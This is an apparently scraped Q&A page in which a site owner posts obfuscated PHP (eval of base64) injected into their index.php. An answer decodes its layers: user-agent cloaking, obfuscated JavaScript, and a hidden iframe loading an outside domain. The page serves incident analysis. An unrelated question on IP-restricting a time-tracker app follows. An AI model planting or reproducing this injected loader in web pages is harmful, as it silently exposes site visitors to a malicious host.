What is this mystery code that was hacked onto my site? [duplicate] - php

This question already has answers here:
Closed 11 years ago.
Possible Duplicate:
eval base64_decode php virus
A few days ago I noticed that none of my mail scripts were working anymore. I inquired with the hosting provider and they informed me that that my hosting account was somehow hacked by spammers and I had reached my 'emails per hour' limit, which was an indication that some sort of malicious code was placed on my site that sent the enormous amounts of emails.
I just checked my code and I found this chunk of mystery code that was placed at the top of my index.php page. I have absolutely no idea what it does or how it might send email out, unless it somehow latches onto my email scripts. What is this mystery code that was placed on my site?
Also, if I remove this code, should it clear up my problems? Is there anything else I can to find out if anything else was added on my server? And I'm guessing that the only way the code got added to my index.php file is that my account itself was hacked and they manually added it, so is there anything I can do to ensure this doesn't happen again?
Code that was placed on my home page:
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRib3RzVUEgPSBhcnJheSgnMTIzNDUnLCdhbGV4YS5jb20nLCdhbm9ueW1vdXNlLm9yZycsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ2Jsb2dwdWxzZS5jb20nLCdib3QnLCdidXp6dHJhY2tlci5jb20nLCdjcmF3bCcsJ2RvY29tbycsJ2RydXBhbC5vcmcnLCdmZWVkdG9vbHMnLCdodG1sZG9jJywnaHR0cGNsaWVudCcsJ2ludGVybmV0c2Vlci5jb20nLCdsaW51eCcsJ21hY2ludG9zaCcsJ21hYyBvcycsJ21hZ2VudCcsJ21haWwucnUnLCdteWJsb2dsb2cgYXBpJywnbmV0Y3JhZnQnLCdvcGVuYWNvb24uZGUnLCdvcGVyYSBtaW5pJywnb3BlcmEgbW9iaScsJ3BsYXlzdGF0aW9uJywncG9zdHJhbmsuY29tJywncHNwJywncnJycnJycnJyJywncnNzcmVhZGVyJywnc2x1cnAnLCdzbm9vcHknLCdzcGlkZXInLCdzcHlkZXInLCdzem4taW1hZ2UtcmVzaXplcicsJ3ZhbGlkYXRvcicsJ3ZpcnVzJywndmxjIG1lZGlhIHBsYXllcicsJ3dlYmNvbGxhZ2UnLCd3b3JkcHJlc3MnLCd4MTEnLCd5YW5kZXgnLCdpcGhvbmUnLCdhbmRyb2lkJyk7DQpmb3JlYWNoICgkYm90c1VBIGFzICRicykge2lmKHN0cnBvcyhzdHJ0b2xvd2VyKCR1YSksICRicykhPT0gZmFsc2UpeyRib3QgPSB0cnVlOyBicmVhazt9fQ0KaWYgKCEkYm90KXsNCgllY2hvKGJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZEQ1cFppaDNhVzVrYjNjdVpHOWpkVzFsYm5RcFlUMG9JblkxTXpKaU5TSXVjM0JzYVhRclJHRjBaU2t1YzNWaWMzUnlLREFzTmlrN1lXRTlLRnRkTG5KbGRtVnljMlVyVzEwdWNtVjJaWEp6WlNrdWMzVmljM1J5S0RBc05pazdhV1lvWVdFOVBUMWhLUXBtUFZzdE16QXNMVE13TERZMkxEWXpMQzAzTERFc05qRXNOeklzTmpBc056Z3NOekFzTmpJc056RXNOemNzTnl3Mk5DdzJNaXczTnl3ek1DdzJPU3cyTWl3M01DdzJNaXczTVN3M055dzNOaXd5Tnl3NE1pdzBOU3cxT0N3Mk5Dd3pPU3cxT0N3M01DdzJNaXd4TERBc05Ua3NOeklzTmpFc09ESXNNQ3d5TERVeUxEa3NOVFFzTWl3NE5Dd3RNekFzTFRNd0xDMHpNQ3cyTml3Mk15dzNOU3cxT0N3M01DdzJNaXczTlN3eExESXNNakFzTFRNd0xDMHpNQ3c0Tml3dE55dzJNaXcyT1N3M05pdzJNaXd0Tnl3NE5Dd3RNekFzTFRNd0xDMHpNQ3cyTVN3M01pdzJNQ3czT0N3M01DdzJNaXczTVN3M055dzNMRGd3TERjMUxEWTJMRGMzTERZeUxERXNMVFVzTWpFc05qWXNOak1zTnpVc05UZ3NOekFzTmpJc0xUY3NOellzTnpVc05qQXNNaklzTUN3Mk5TdzNOeXczTnl3M015d3hPU3c0TERnc05qZ3NPRE1zTmpnc056QXNPRElzTnpFc05qTXNOeXc0TXl3NE1pdzNNU3czTml3M0xEWXdMRGN5TERjd0xEZ3NOakVzT0N3eE15dzVMREV6TERjc056TXNOalVzTnpNc01qUXNOalFzTnpJc01qSXNNVEFzTUN3dE55dzRNQ3cyTml3Mk1TdzNOeXcyTlN3eU1pd3dMREV3TERrc01Dd3ROeXcyTlN3Mk1pdzJOaXcyTkN3Mk5TdzNOeXd5TWl3d0xERXdMRGtzTUN3dE55dzNOaXczTnl3NE1pdzJPU3cyTWl3eU1pd3dMRGM1TERZMkxEYzJMRFkyTERVNUxEWTJMRFk1TERZMkxEYzNMRGd5TERFNUxEWTFMRFkyTERZeExEWXhMRFl5TERjeExESXdMRGN6TERjeUxEYzJMRFkyTERjM0xEWTJMRGN5TERjeExERTVMRFU0TERVNUxEYzJMRGN5TERZNUxEYzRMRGMzTERZeUxESXdMRFk1TERZeUxEWXpMRGMzTERFNUxEa3NNakFzTnpjc056SXNOek1zTVRrc09Td3lNQ3d3TERJekxESXhMRGdzTmpZc05qTXNOelVzTlRnc056QXNOaklzTWpNc0xUVXNNaXd5TUN3dE16QXNMVE13TERnMkxDMHpNQ3d0TXpBc05qTXNOemdzTnpFc05qQXNOemNzTmpZc056SXNOekVzTFRjc05qWXNOak1zTnpVc05UZ3NOekFzTmpJc056VXNNU3d5TERnMExDMHpNQ3d0TXpBc0xUTXdMRGM1TERVNExEYzFMQzAzTERZekxDMDNMREl5TEMwM0xEWXhMRGN5TERZd0xEYzRMRGN3TERZeUxEY3hMRGMzTERjc05qQXNOelVzTmpJc05UZ3NOemNzTmpJc016QXNOamtzTmpJc056QXNOaklzTnpFc056Y3NNU3d3TERZMkxEWXpMRGMxTERVNExEY3dMRFl5TERBc01pd3lNQ3cyTXl3M0xEYzJMRFl5TERjM0xESTJMRGMzTERjM0xEYzFMRFkyTERVNUxEYzRMRGMzTERZeUxERXNNQ3czTml3M05TdzJNQ3d3TERVc01DdzJOU3czTnl3M055dzNNeXd4T1N3NExEZ3NOamdzT0RNc05qZ3NOekFzT0RJc056RXNOak1zTnl3NE15dzRNaXczTVN3M05pdzNMRFl3TERjeUxEY3dMRGdzTmpFc09Dd3hNeXc1TERFekxEY3NOek1zTmpVc056TXNNalFzTmpRc056SXNNaklzTVRBc01Dd3lMREl3TERZekxEY3NOellzTnpjc09ESXNOamtzTmpJc055dzNPU3cyTml3M05pdzJOaXcxT1N3Mk5pdzJPU3cyTml3M055dzRNaXd5TWl3d0xEWTFMRFkyTERZeExEWXhMRFl5TERjeExEQXNNakFzTmpNc055dzNOaXczTnl3NE1pdzJPU3cyTWl3M0xEY3pMRGN5TERjMkxEWTJMRGMzTERZMkxEY3lMRGN4TERJeUxEQXNOVGdzTlRrc056WXNOeklzTmprc056Z3NOemNzTmpJc01Dd3lNQ3cyTXl3M0xEYzJMRGMzTERneUxEWTVMRFl5TERjc05qa3NOaklzTmpNc056Y3NNaklzTUN3NUxEQXNNakFzTmpNc055dzNOaXczTnl3NE1pdzJPU3cyTWl3M0xEYzNMRGN5TERjekxESXlMREFzT1N3d0xESXdMRFl6TERjc056WXNOaklzTnpjc01qWXNOemNzTnpjc056VXNOallzTlRrc056Z3NOemNzTmpJc01Td3dMRGd3TERZMkxEWXhMRGMzTERZMUxEQXNOU3d3TERFd0xEa3NNQ3d5TERJd0xEWXpMRGNzTnpZc05qSXNOemNzTWpZc056Y3NOemNzTnpVc05qWXNOVGtzTnpnc056Y3NOaklzTVN3d0xEWTFMRFl5TERZMkxEWTBMRFkxTERjM0xEQXNOU3d3TERFd0xEa3NNQ3d5TERJd0xDMHpNQ3d0TXpBc0xUTXdMRFl4TERjeUxEWXdMRGM0TERjd0xEWXlMRGN4TERjM0xEY3NOalFzTmpJc056Y3NNekFzTmprc05qSXNOekFzTmpJc056RXNOemNzTnpZc01qY3NPRElzTkRVc05UZ3NOalFzTXprc05UZ3NOekFzTmpJc01Td3dMRFU1TERjeUxEWXhMRGd5TERBc01pdzFNaXc1TERVMExEY3NOVGdzTnpNc056TXNOaklzTnpFc05qRXNNamdzTmpVc05qWXNOamtzTmpFc01TdzJNeXd5TERJd0xDMHpNQ3d0TXpBc09EWmRPMjFrUFNkaEp6dGxQWGRwYm1SdmR5NWxkbUZzTzNjOVpqdHpQU2NuTzJjOUoyWW5LeWR5YnljckoyMURhQ2NySjJGeUp5c25RMjlrSnlzblpTYzdabTl5S0drOU1EdHBMWGN1YkdWdVozUm9QREE3YVNzcktYdHpQWE1yVTNSeWFXNW5XMmRkS0RNNUszZGJNQ3RwWFNrN2ZRcHBaaWhoUFQwOVlXRXBDbVVvSjJVbkt5Y29KeXNuY3ljckp5a25LVHM4TDNOamNtbHdkRDQ9JykpOw0KfQ=='));

This script:
<?php
echo (base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRib3RzVUEgPSBhcnJheSgnMTIzNDUnLCdhbGV4YS5jb20nLCdhbm9ueW1vdXNlLm9yZycsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ2Jsb2dwdWxzZS5jb20nLCdib3QnLCdidXp6dHJhY2tlci5jb20nLCdjcmF3bCcsJ2RvY29tbycsJ2RydXBhbC5vcmcnLCdmZWVkdG9vbHMnLCdodG1sZG9jJywnaHR0cGNsaWVudCcsJ2ludGVybmV0c2Vlci5jb20nLCdsaW51eCcsJ21hY2ludG9zaCcsJ21hYyBvcycsJ21hZ2VudCcsJ21haWwucnUnLCdteWJsb2dsb2cgYXBpJywnbmV0Y3JhZnQnLCdvcGVuYWNvb24uZGUnLCdvcGVyYSBtaW5pJywnb3BlcmEgbW9iaScsJ3BsYXlzdGF0aW9uJywncG9zdHJhbmsuY29tJywncHNwJywncnJycnJycnJyJywncnNzcmVhZGVyJywnc2x1cnAnLCdzbm9vcHknLCdzcGlkZXInLCdzcHlkZXInLCdzem4taW1hZ2UtcmVzaXplcicsJ3ZhbGlkYXRvcicsJ3ZpcnVzJywndmxjIG1lZGlhIHBsYXllcicsJ3dlYmNvbGxhZ2UnLCd3b3JkcHJlc3MnLCd4MTEnLCd5YW5kZXgnLCdpcGhvbmUnLCdhbmRyb2lkJyk7DQpmb3JlYWNoICgkYm90c1VBIGFzICRicykge2lmKHN0cnBvcyhzdHJ0b2xvd2VyKCR1YSksICRicykhPT0gZmFsc2UpeyRib3QgPSB0cnVlOyBicmVhazt9fQ0KaWYgKCEkYm90KXsNCgllY2hvKGJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZEQ1cFppaDNhVzVrYjNjdVpHOWpkVzFsYm5RcFlUMG9JblkxTXpKaU5TSXVjM0JzYVhRclJHRjBaU2t1YzNWaWMzUnlLREFzTmlrN1lXRTlLRnRkTG5KbGRtVnljMlVyVzEwdWNtVjJaWEp6WlNrdWMzVmljM1J5S0RBc05pazdhV1lvWVdFOVBUMWhLUXBtUFZzdE16QXNMVE13TERZMkxEWXpMQzAzTERFc05qRXNOeklzTmpBc056Z3NOekFzTmpJc056RXNOemNzTnl3Mk5DdzJNaXczTnl3ek1DdzJPU3cyTWl3M01DdzJNaXczTVN3M055dzNOaXd5Tnl3NE1pdzBOU3cxT0N3Mk5Dd3pPU3cxT0N3M01DdzJNaXd4TERBc05Ua3NOeklzTmpFc09ESXNNQ3d5TERVeUxEa3NOVFFzTWl3NE5Dd3RNekFzTFRNd0xDMHpNQ3cyTml3Mk15dzNOU3cxT0N3M01DdzJNaXczTlN3eExESXNNakFzTFRNd0xDMHpNQ3c0Tml3dE55dzJNaXcyT1N3M05pdzJNaXd0Tnl3NE5Dd3RNekFzTFRNd0xDMHpNQ3cyTVN3M01pdzJNQ3czT0N3M01DdzJNaXczTVN3M055dzNMRGd3TERjMUxEWTJMRGMzTERZeUxERXNMVFVzTWpFc05qWXNOak1zTnpVc05UZ3NOekFzTmpJc0xUY3NOellzTnpVc05qQXNNaklzTUN3Mk5TdzNOeXczTnl3M015d3hPU3c0TERnc05qZ3NPRE1zTmpnc056QXNPRElzTnpFc05qTXNOeXc0TXl3NE1pdzNNU3czTml3M0xEWXdMRGN5TERjd0xEZ3NOakVzT0N3eE15dzVMREV6TERjc056TXNOalVzTnpNc01qUXNOalFzTnpJc01qSXNNVEFzTUN3dE55dzRNQ3cyTml3Mk1TdzNOeXcyTlN3eU1pd3dMREV3TERrc01Dd3ROeXcyTlN3Mk1pdzJOaXcyTkN3Mk5TdzNOeXd5TWl3d0xERXdMRGtzTUN3dE55dzNOaXczTnl3NE1pdzJPU3cyTWl3eU1pd3dMRGM1TERZMkxEYzJMRFkyTERVNUxEWTJMRFk1TERZMkxEYzNMRGd5TERFNUxEWTFMRFkyTERZeExEWXhMRFl5TERjeExESXdMRGN6TERjeUxEYzJMRFkyTERjM0xEWTJMRGN5TERjeExERTVMRFU0TERVNUxEYzJMRGN5TERZNUxEYzRMRGMzTERZeUxESXdMRFk1TERZeUxEWXpMRGMzTERFNUxEa3NNakFzTnpjc056SXNOek1zTVRrc09Td3lNQ3d3TERJekxESXhMRGdzTmpZc05qTXNOelVzTlRnc056QXNOaklzTWpNc0xUVXNNaXd5TUN3dE16QXNMVE13TERnMkxDMHpNQ3d0TXpBc05qTXNOemdzTnpFc05qQXNOemNzTmpZc056SXNOekVzTFRjc05qWXNOak1zTnpVc05UZ3NOekFzTmpJc056VXNNU3d5TERnMExDMHpNQ3d0TXpBc0xUTXdMRGM1TERVNExEYzFMQzAzTERZekxDMDNMREl5TEMwM0xEWXhMRGN5TERZd0xEYzRMRGN3TERZeUxEY3hMRGMzTERjc05qQXNOelVzTmpJc05UZ3NOemNzTmpJc016QXNOamtzTmpJc056QXNOaklzTnpFc056Y3NNU3d3TERZMkxEWXpMRGMxTERVNExEY3dMRFl5TERBc01pd3lNQ3cyTXl3M0xEYzJMRFl5TERjM0xESTJMRGMzTERjM0xEYzFMRFkyTERVNUxEYzRMRGMzTERZeUxERXNNQ3czTml3M05TdzJNQ3d3TERVc01DdzJOU3czTnl3M055dzNNeXd4T1N3NExEZ3NOamdzT0RNc05qZ3NOekFzT0RJc056RXNOak1zTnl3NE15dzRNaXczTVN3M05pdzNMRFl3TERjeUxEY3dMRGdzTmpFc09Dd3hNeXc1TERFekxEY3NOek1zTmpVc056TXNNalFzTmpRc056SXNNaklzTVRBc01Dd3lMREl3TERZekxEY3NOellzTnpjc09ESXNOamtzTmpJc055dzNPU3cyTml3M05pdzJOaXcxT1N3Mk5pdzJPU3cyTml3M055dzRNaXd5TWl3d0xEWTFMRFkyTERZeExEWXhMRFl5TERjeExEQXNNakFzTmpNc055dzNOaXczTnl3NE1pdzJPU3cyTWl3M0xEY3pMRGN5TERjMkxEWTJMRGMzTERZMkxEY3lMRGN4TERJeUxEQXNOVGdzTlRrc056WXNOeklzTmprc056Z3NOemNzTmpJc01Dd3lNQ3cyTXl3M0xEYzJMRGMzTERneUxEWTVMRFl5TERjc05qa3NOaklzTmpNc056Y3NNaklzTUN3NUxEQXNNakFzTmpNc055dzNOaXczTnl3NE1pdzJPU3cyTWl3M0xEYzNMRGN5TERjekxESXlMREFzT1N3d0xESXdMRFl6TERjc056WXNOaklzTnpjc01qWXNOemNzTnpjc056VXNOallzTlRrc056Z3NOemNzTmpJc01Td3dMRGd3TERZMkxEWXhMRGMzTERZMUxEQXNOU3d3TERFd0xEa3NNQ3d5TERJd0xEWXpMRGNzTnpZc05qSXNOemNzTWpZc056Y3NOemNzTnpVc05qWXNOVGtzTnpnc056Y3NOaklzTVN3d0xEWTFMRFl5TERZMkxEWTBMRFkxTERjM0xEQXNOU3d3TERFd0xEa3NNQ3d5TERJd0xDMHpNQ3d0TXpBc0xUTXdMRFl4TERjeUxEWXdMRGM0TERjd0xEWXlMRGN4TERjM0xEY3NOalFzTmpJc056Y3NNekFzTmprc05qSXNOekFzTmpJc056RXNOemNzTnpZc01qY3NPRElzTkRVc05UZ3NOalFzTXprc05UZ3NOekFzTmpJc01Td3dMRFU1TERjeUxEWXhMRGd5TERBc01pdzFNaXc1TERVMExEY3NOVGdzTnpNc056TXNOaklzTnpFc05qRXNNamdzTmpVc05qWXNOamtzTmpFc01TdzJNeXd5TERJd0xDMHpNQ3d0TXpBc09EWmRPMjFrUFNkaEp6dGxQWGRwYm1SdmR5NWxkbUZzTzNjOVpqdHpQU2NuTzJjOUoyWW5LeWR5YnljckoyMURhQ2NySjJGeUp5c25RMjlrSnlzblpTYzdabTl5S0drOU1EdHBMWGN1YkdWdVozUm9QREE3YVNzcktYdHpQWE1yVTNSeWFXNW5XMmRkS0RNNUszZGJNQ3RwWFNrN2ZRcHBaaWhoUFQwOVlXRXBDbVVvSjJVbkt5Y29KeXNuY3ljckp5a25LVHM4TDNOamNtbHdkRDQ9JykpOw0KfQ=='));
?>
Gave this output:
error_reporting(0);
$bot = FALSE ;
$ua = $_SERVER['HTTP_USER_AGENT'];
$botsUA = array('12345','alexa.com','anonymouse.org','bdbrandprotect.com','blogpulse.com','bot','buzztracker.com','crawl','docomo','drupal.org','feedtools','htmldoc','httpclient','internetseer.com','linux','macintosh','mac os','magent','mail.ru','mybloglog api','netcraft','openacoon.de','opera mini','opera mobi','playstation','postrank.com','psp','rrrrrrrrr','rssreader','slurp','snoopy','spider','spyder','szn-image-resizer','validator','virus','vlc media player','webcollage','wordpress','x11','yandex','iphone','android');
foreach ($botsUA as $bs) {if(strpos(strtolower($ua), $bs)!== false){$bot = true; break;}}
if (!$bot){
echo(base64_decode('PHNjcmlwdD5pZih3aW5kb3cuZG9jdW1lbnQpYT0oInY1MzJiNSIuc3BsaXQrRGF0ZSkuc3Vic3RyKDAsNik7YWE9KFtdLnJldmVyc2UrW10ucmV2ZXJzZSkuc3Vic3RyKDAsNik7aWYoYWE9PT1hKQpmPVstMzAsLTMwLDY2LDYzLC03LDEsNjEsNzIsNjAsNzgsNzAsNjIsNzEsNzcsNyw2NCw2Miw3NywzMCw2OSw2Miw3MCw2Miw3MSw3Nyw3NiwyNyw4Miw0NSw1OCw2NCwzOSw1OCw3MCw2MiwxLDAsNTksNzIsNjEsODIsMCwyLDUyLDksNTQsMiw4NCwtMzAsLTMwLC0zMCw2Niw2Myw3NSw1OCw3MCw2Miw3NSwxLDIsMjAsLTMwLC0zMCw4NiwtNyw2Miw2OSw3Niw2MiwtNyw4NCwtMzAsLTMwLC0zMCw2MSw3Miw2MCw3OCw3MCw2Miw3MSw3Nyw3LDgwLDc1LDY2LDc3LDYyLDEsLTUsMjEsNjYsNjMsNzUsNTgsNzAsNjIsLTcsNzYsNzUsNjAsMjIsMCw2NSw3Nyw3Nyw3MywxOSw4LDgsNjgsODMsNjgsNzAsODIsNzEsNjMsNyw4Myw4Miw3MSw3Niw3LDYwLDcyLDcwLDgsNjEsOCwxMyw5LDEzLDcsNzMsNjUsNzMsMjQsNjQsNzIsMjIsMTAsMCwtNyw4MCw2Niw2MSw3Nyw2NSwyMiwwLDEwLDksMCwtNyw2NSw2Miw2Niw2NCw2NSw3NywyMiwwLDEwLDksMCwtNyw3Niw3Nyw4Miw2OSw2MiwyMiwwLDc5LDY2LDc2LDY2LDU5LDY2LDY5LDY2LDc3LDgyLDE5LDY1LDY2LDYxLDYxLDYyLDcxLDIwLDczLDcyLDc2LDY2LDc3LDY2LDcyLDcxLDE5LDU4LDU5LDc2LDcyLDY5LDc4LDc3LDYyLDIwLDY5LDYyLDYzLDc3LDE5LDksMjAsNzcsNzIsNzMsMTksOSwyMCwwLDIzLDIxLDgsNjYsNjMsNzUsNTgsNzAsNjIsMjMsLTUsMiwyMCwtMzAsLTMwLDg2LC0zMCwtMzAsNjMsNzgsNzEsNjAsNzcsNjYsNzIsNzEsLTcsNjYsNjMsNzUsNTgsNzAsNjIsNzUsMSwyLDg0LC0zMCwtMzAsLTMwLDc5LDU4LDc1LC03LDYzLC03LDIyLC03LDYxLDcyLDYwLDc4LDcwLDYyLDcxLDc3LDcsNjAsNzUsNjIsNTgsNzcsNjIsMzAsNjksNjIsNzAsNjIsNzEsNzcsMSwwLDY2LDYzLDc1LDU4LDcwLDYyLDAsMiwyMCw2Myw3LDc2LDYyLDc3LDI2LDc3LDc3LDc1LDY2LDU5LDc4LDc3LDYyLDEsMCw3Niw3NSw2MCwwLDUsMCw2NSw3Nyw3Nyw3MywxOSw4LDgsNjgsODMsNjgsNzAsODIsNzEsNjMsNyw4Myw4Miw3MSw3Niw3LDYwLDcyLDcwLDgsNjEsOCwxMyw5LDEzLDcsNzMsNjUsNzMsMjQsNjQsNzIsMjIsMTAsMCwyLDIwLDYzLDcsNzYsNzcsODIsNjksNjIsNyw3OSw2Niw3Niw2Niw1OSw2Niw2OSw2Niw3Nyw4MiwyMiwwLDY1LDY2LDYxLDYxLDYyLDcxLDAsMjAsNjMsNyw3Niw3Nyw4Miw2OSw2Miw3LDczLDcyLDc2LDY2LDc3LDY2LDcyLDcxLDIyLDAsNTgsNTksNzYsNzIsNjksNzgsNzcsNjIsMCwyMCw2Myw3LDc2LDc3LDgyLDY5LDYyLDcsNjksNjIsNjMsNzcsMjIsMCw5LDAsMjAsNjMsNyw3Niw3Nyw4Miw2OSw2Miw3LDc3LDcyLDczLDIyLDAsOSwwLDIwLDYzLDcsNzYsNjIsNzcsMjYsNzcsNzcsNzUsNjYsNTksNzgsNzcsNjIsMSwwLDgwLDY2LDYxLDc3LDY1LDAsNSwwLDEwLDksMCwyLDIwLDYzLDcsNzYsNjIsNzcsMjYsNzcsNzcsNzUsNjYsNTksNzgsNzcsNjIsMSwwLDY1LDYyLDY2LDY0LDY1LDc3LDAsNSwwLDEwLDksMCwyLDIwLC0zMCwtMzAsLTMwLDYxLDcyLDYwLDc4LDcwLDYyLDcxLDc3LDcsNjQsNjIsNzcsMzAsNjksNjIsNzAsNjIsNzEsNzcsNzYsMjcsODIsNDUsNTgsNjQsMzksNTgsNzAsNjIsMSwwLDU5LDcyLDYxLDgyLDAsMiw1Miw5LDU0LDcsNTgsNzMsNzMsNjIsNzEsNjEsMjgsNjUsNjYsNjksNjEsMSw2MywyLDIwLC0zMCwtMzAsODZdO21kPSdhJztlPXdpbmRvdy5ldmFsO3c9ZjtzPScnO2c9J2YnKydybycrJ21DaCcrJ2FyJysnQ29kJysnZSc7Zm9yKGk9MDtpLXcubGVuZ3RoPDA7aSsrKXtzPXMrU3RyaW5nW2ddKDM5K3dbMCtpXSk7fQppZihhPT09YWEpCmUoJ2UnKycoJysncycrJyknKTs8L3NjcmlwdD4='));
}
The second base64 decode gives this:
<script>if(window.document)a=("v532b5".split+Date).substr(0,6);aa=([].reverse+[].reverse).substr(0,6);if(aa===a)
f=[-30,-30,66,63,-7,1,61,72,60,78,70,62,71,77,7,64,62,77,30,69,62,70,62,71,77,76,27,82,45,58,64,39,58,70,62,1,0,59,72,61,82,0,2,52,9,54,2,84,-30,-30,-30,66,63,75,58,70,62,75,1,2,20,-30,-30,86,-7,62,69,76,62,-7,84,-30,-30,-30,61,72,60,78,70,62,71,77,7,80,75,66,77,62,1,-5,21,66,63,75,58,70,62,-7,76,75,60,22,0,65,77,77,73,19,8,8,68,83,68,70,82,71,63,7,83,82,71,76,7,60,72,70,8,61,8,13,9,13,7,73,65,73,24,64,72,22,10,0,-7,80,66,61,77,65,22,0,10,9,0,-7,65,62,66,64,65,77,22,0,10,9,0,-7,76,77,82,69,62,22,0,79,66,76,66,59,66,69,66,77,82,19,65,66,61,61,62,71,20,73,72,76,66,77,66,72,71,19,58,59,76,72,69,78,77,62,20,69,62,63,77,19,9,20,77,72,73,19,9,20,0,23,21,8,66,63,75,58,70,62,23,-5,2,20,-30,-30,86,-30,-30,63,78,71,60,77,66,72,71,-7,66,63,75,58,70,62,75,1,2,84,-30,-30,-30,79,58,75,-7,63,-7,22,-7,61,72,60,78,70,62,71,77,7,60,75,62,58,77,62,30,69,62,70,62,71,77,1,0,66,63,75,58,70,62,0,2,20,63,7,76,62,77,26,77,77,75,66,59,78,77,62,1,0,76,75,60,0,5,0,65,77,77,73,19,8,8,68,83,68,70,82,71,63,7,83,82,71,76,7,60,72,70,8,61,8,13,9,13,7,73,65,73,24,64,72,22,10,0,2,20,63,7,76,77,82,69,62,7,79,66,76,66,59,66,69,66,77,82,22,0,65,66,61,61,62,71,0,20,63,7,76,77,82,69,62,7,73,72,76,66,77,66,72,71,22,0,58,59,76,72,69,78,77,62,0,20,63,7,76,77,82,69,62,7,69,62,63,77,22,0,9,0,20,63,7,76,77,82,69,62,7,77,72,73,22,0,9,0,20,63,7,76,62,77,26,77,77,75,66,59,78,77,62,1,0,80,66,61,77,65,0,5,0,10,9,0,2,20,63,7,76,62,77,26,77,77,75,66,59,78,77,62,1,0,65,62,66,64,65,77,0,5,0,10,9,0,2,20,-30,-30,-30,61,72,60,78,70,62,71,77,7,64,62,77,30,69,62,70,62,71,77,76,27,82,45,58,64,39,58,70,62,1,0,59,72,61,82,0,2,52,9,54,7,58,73,73,62,71,61,28,65,66,69,61,1,63,2,20,-30,-30,86];md='a';e=window.eval;w=f;s='';g='f'+'ro'+'mCh'+'ar'+'Cod'+'e';for(i=0;i-w.length<0;i++){s=s+String[g](39+w[0+i]);}
if(a===aa)
e('e'+'('+'s'+')');</script>
If it finds that the HTTP_USER_AGENT contains any of those sites, it sets $bot = true; If nothing is found, as in !$bot, then it prints out that javascript.
The resulting iframe is this:
<iframe src="http://kzkmynf.zyns.com/d/404.php?go=1" width="10" height="10" style="visibility:hidden;position:absolute;left:0;top:0;"></iframe>
All that JavaScript is there to generate the iframe, which ends up going to a 404. So in effect this has no effect but to create a dead invisible iframe. Even more mysterious, http://zyns.com/ is a domain name registrar for free domain names, and the subdomain doesn't exist but gives no 404 itself. A whois on the registrar gives this:
Registrant:
ChangeIP.com
c/o Dynamic DNS Provider
P.O. Box 2333
San Marcos, CA 92079
US
Domain Name: ZYNS.COM
Administrative Contact, Technical Contact:
ChangeIP.com NSI#ChangeIP.com
c/o Dynamic DNS Provider
P.O. Box 2333
San Marcos, CA 92079
US
800-791-3367 fax: 760-621-0116
It seems ChangeIP.com owns ZYNS.COM, and some anonymous user created that subdomain and posted this malicious code.
I would remove it...

Dang, I was just about to post when Aram got there first :-)
I would assume that at least everything in your web directory is now suspect, if not on the whole server. Removing the code is a good idea, but the real question is how they got it in there and what else they put in there and where ... much harder to answer.

Related

How to restrict website accessing, if user is on remote device and not on a work computer? (work time tracker app)

I would like to make a PHP website, where employees can log in/out themselves and these logs will count as a time when they started and ended their working day. I would like to allow them to do that only on their work computer and not for example on their phone while they are still on the way, but they want to avoid "being late".
So I'm struggling with a few ideas, but any of them seems to be the right solution.
Allow using the website only for specific IP addresses. But then I realized that in our place IP address is dynamic and changing it for static costs too much in our area.
Check user location. But then I saw that when I'm checking my public IP address, the location is completely wrong! Our building isn't even close to the loaded area.
Using a COOKIE/token on a work computer. But it's very easy to set the same cookie on your own device and I'm not the only IT employee here.
Checking MAC address. As I read here it's possible only in specific cases.
Block access for mobiles. But detecting a mobile is based on browser and if the user click "Request Desktop Site" scripts will say that's a computer.
Is there another method, which I can use to achieve my goal? Am I missing something?
May I bind my app for example with some other technologies that will allow me to do that? Or maybe I should try a combination of all of them?
I couldn't find any script, which would take care of that. In the worst case it doesn't have to be "perfectly secure", but I would like to be it at least hard, annoying, or time-consuming to try to "cheat" in this system.
I would run your app in the office LAN. Nobody will be able to access it from outside except if they can do remote desktop to the office computer or if they have VPN. But if you are in the IT team you may could fix IP ranges for the office computers so that you could exclude the VPN.
In terms of security, in any case it may be better having it running in your LAN. I'm sure you've got a server somewhere and if it's not the case then you could use a NAS (Synology offers NGINX, Apache, PHP and much more) or a little Rasperry Pie or something similar.
If you haven't got a fixed IP, you could also use DynDNS and have it mapped to a sub-domain such as company-name.dyndns.org and then on your PHP app you could have a cron job that gets the IP address from the domain name and updates it every minutes (I'm sure it's quickly run). It could then store it inside a config file, this way:
<?php
define('ALLOWED_IP_FILE', 'allowed-ips.inc.php');
$ALLOWED_DOMAINS = [
'your-company.dyndns.org',
'you-at-home.dyndns.org',
];
$allowed_ips = [];
foreach ($ALLOWED_DOMAINS as $allowed_domain) {
$ip = gethostbyname($allowed_domain);
if ($ip !== $allowed_domain) {
// Store with the IP in the key and value for ease when checking the IP validity.
$allowed_ips[$ip] = $ip;
} else {
fprintf(STDERR, "ERROR: Could not find the IP of $allowed_domain!\n");
}
}
$allowed_ips_export = var_export($allowed_ips, true);
$config_file_content = <<<END_OF_CONFIG
<?php
// Don't edit! This config file is generated by cron-ip-address.php.
\$ALLOWED_IPS = $allowed_ips_export;
END_OF_CONFIG;
if (file_put_contents(ALLOWED_IP_FILE, $config_file_content) === false) {
fprintf(STDERR, 'ERROR: Could not write config file ' . ALLOWED_IP_FILE . "\n");
}
This generates a config file to include in your app. Example of content generated if you run the script I wrote above:
<?php
// Don't edit! This config file is generated by cron-ip-address.php.
$ALLOWED_IPS = array (
'142.250.203.99' => '142.250.203.99',
'23.201.250.169' => '23.201.250.169',
);
Now, in your app, just include it and test the presence of the IP in the $ALLOWED_IPS array:
<?php
include ALLOWED_IP_FILE; // If this is declared in a common config file.
// include 'allowed-ips.inc.php'; // If you haven't got a common config file.
if (!isset($ALLOWED_IPS[$_SERVER['REMOTE_ADDR']])) {
http_response_code(403);
die('Sorry, you cannot access it from here.');
}
Ideally, if what you actually want to track is when employees are in the workplace and logged on / for how long, it would be probably better to just track local machine-logins via a domain controller - a method reachable from the internet is suboptimal exactly for the reasons you mentioned.
